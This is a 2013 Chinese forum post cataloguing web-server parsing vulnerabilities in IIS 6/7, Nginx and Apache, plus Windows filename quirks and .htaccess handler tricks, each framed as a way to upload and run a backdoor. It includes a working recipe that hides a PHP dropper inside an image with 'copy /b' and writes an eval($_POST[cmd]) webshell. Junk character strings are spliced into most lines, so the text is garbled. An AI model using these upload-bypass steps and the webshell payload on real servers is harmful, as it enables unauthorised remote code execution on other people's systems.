找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2550|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
" I2 N0 s+ F+ K[+]IIS6.0
$ ^- Q# T# H1 h* k% B
, {- E3 Y& V7 T$ g  A% w目录解析:/xx.asp/xx.jpg
. N' D1 B4 h3 U3 O xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
  f: P. a4 U) N  \ IIS6.0 会将 xx.jpg 解析为 asp 文件。
2 X; d/ @+ c1 i# [- p) M7 @; e' A后缀解析:/xx.asp;.jpg     
1 d) {9 o4 s$ e- n: g( g IIS6.0 都会把此类后缀文件成功解析为 asp 文件。' J  G6 h% M) f
默认解析:/xx.asa
1 L3 X/ q8 D2 M5 l         /xx.cer
0 x. z$ U+ ?1 ^+ p8 V         /xx.cdx# a" v2 U' b& ~  @: ]
IIS6.0 默认的可执行文件除了 asp 还包含这三种: ^1 F, @7 N2 t7 y3 l7 j$ j
此处可联系利用目录解析漏洞   Q4 T0 S' y/ `. \6 `) I
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
6 q0 R) G! j, l' E* k: z[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
  X$ Y* r; V8 q3 ~6 }
& q$ R% E  G5 t6 \" S IIS 7.0/IIS 7.5/Nginx <0.8.03
  J6 c3 g  z0 t7 {5 }& J6 p 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
5 E# ?& b; \2 L  \2 Q7 x2 K' g- } 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
3 j5 h! v" m' N+ J" ]2 ^4 l$ b 常用利用方法:
+ f. X/ p. o7 H4 S6 _7 A8 A3 L0 r 将一张图和一个写入后门代码的文本文件合并将恶意文本
: T1 w1 |9 M% I' R" K3 F+ g3 s 写入图片的二进制代码之后,避免破坏图片文件头和尾
) Y! q) A  `1 |: t8 O 如:
, Y" U8 L; p# N* o) b copy xx.jpg /b + yy.txt/a xy.jpg
8 F( r  Z% f8 r( C2 y #########################################################
. s; T! o0 y9 A6 P /b 即二进制[binary]模式. _) \2 B9 N: ]
/a 即ascii模式- i# r. g9 {" y( E% [9 E
xx.jpg 正常图片文件4 m! z3 X- f) F2 W, N
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
$ `9 }2 z# t4 R4 m8 E# v8 r+ B: t4 g '<?php eval($_POST[cmd])?>');?>/ x2 X1 z  Q# z
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称# |& K0 j9 m' |4 F9 D
为shell.php的文件
7 {2 t2 g0 ^  [  x: \1 w ###########################################################
! j* C7 x/ e0 s" n 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
2 P) K" Z5 Z% |# h: _ 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 9 S5 P. D) t" F, w8 y% e* p) L
密码 cmd
, K: c4 n, _9 s. Z5 ~0 h. g$ W2 n2 ~[+]Nginx <0.8.03
8 ^7 t5 X& H! l" z
& f# O* M- g. L8 U! m, ^" L0 V 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
1 f- ^% h) P3 C6 `) ~, W 在一个文件路径(/xx.jpg)后面加上%00.php
" ^- p- p7 X8 o, a8 A2 Q' m 会将 /xx.jpg%00.php 解析为 php 文件。
2 o( J% e  B) C[+]Apache<0.8.03$ r, e2 r: Z: t' y' q: c! B* i

8 ]6 R9 _' q% F* G( @7 V& o( e 后缀解析:test.php.x1.x2.x3
: f$ A$ l- O3 G# ] Apache将从右至左开始判断后缀,若x3非可识别后缀,7 v% X: I2 F* v$ _- g
再判断x2,直到找到可识别后缀为止,然后将该可识别, P& D0 j5 e5 S1 R* R
后缀进解析test.php.x1.x2.x3 则会被解析为php
) H$ d( E: ~9 V 经验之谈:php|php3|phtml 多可被Apache解析。
% K1 v* a$ l9 F- \[+]其他一些可利用的
" R) g% ^! h, ~2 m 7 {/ O: p- X& _
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的3 {+ X' I( B$ }* |7 _
若这样命名,windows会默认除去空格或点,这也是可以被利用的!/ {1 i  p' M+ K8 e4 _
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
* E* x5 o+ y  x, K& P+ I! J2 o或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可. k6 ?  `" V4 B$ n/ H8 I; f8 W1 O4 _
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
" P2 W3 O9 S- D: P0 ?, f3 h- }: o{Linux主机中不行,Linux允许这类文件存在}
$ b. ]0 U( R3 C1 H6 d如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
# ?2 D5 A4 X9 X/ o5 v" `的,当初我并不知道),且可以被上传,那可以尝试在5 y9 }  S& `" h) |4 q% \1 j& N
.htaccess中写入:
# [% @' K6 S( p- L9 }( B3 @! g<FilesMatch “shell.jpg”>
8 A( a( n- d! |) z$ q5 v) K) eSetHandler application/x-httpd-php 0 d% p; b8 E, b& k
</FilesMatch>$ _; z  w; s2 X+ d  B' S; x
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
. q3 m) _8 k3 G: q5 b! K[+]错误修改5 \! f" p$ K$ u% H$ p! Y; |
. v/ g' D( [" o/ S; [+ O" X
在 IIS 6.0 下可解析 /xx.asp:.jpg
; l% p+ X. s1 C: [{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去+ M* F& ~% U, Y3 g3 E
剩下/xx.asp}修改:
6 Q! [5 k/ s/ l先谢谢核攻击的提醒
9 n5 \! n/ V; ?+ ?8 {当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp! ~& C* H2 C. ^* k
里是没有任何内容的,因为。。不好解释 大家自己看9 O4 g5 m  P6 `  s
http://lcx.cc/?i=2448
- a& a: y( e1 Q$ M  B4 M/ [http://baike.baidu.com/view/3619593.htm8 m2 Y* h( H, @1 j" A; t
: ~4 d* i9 H5 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表